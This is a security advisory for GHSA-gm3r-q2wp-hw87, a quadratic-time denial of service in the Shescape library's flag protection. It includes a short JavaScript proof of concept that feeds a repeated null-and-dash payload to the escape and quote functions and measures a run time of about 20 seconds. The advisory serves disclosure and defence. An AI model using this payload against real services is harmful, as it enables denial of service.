GHSA-gm3r-q2wp-hw87: Shescape: Quadratic-time denial of service in the flag-protection

(updated )

This impacts users of Shescape that have flag protection enabled, which is on by default, regardless of the API being used.

An attacker can cause a runtime quadratic in the input size, causing denial of service for large inputs.

import { Shescape } from "shescape";

// 1. Prerequisites
const options = {
//flagProtection unspecified
// Or
flagProtection: true,
};

// 2. Payload
let payload = "\u0000-".repeat(32000);

// 3. Usage
const shescape = new Shescape(options);
let callback;

callback = () => shescape.escape(payload);
// Or
callback = () => shescape.escapeAll([payload]);
// Or
callback = () => shescape.quote(payload);
// Or
callback = () => shescape.quoteAll([payload]);

const t0 = process.hrtime.bigint();
callback();
const ms = Number(process.hrtime.bigint() - t0) / 1e6;

// 4. Impact
console.log("Duration:", ms);
// Outputs "Duration:" followed by a number close to 20000

References

Code Behaviors & Features

Detect and mitigate GHSA-gm3r-q2wp-hw87 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →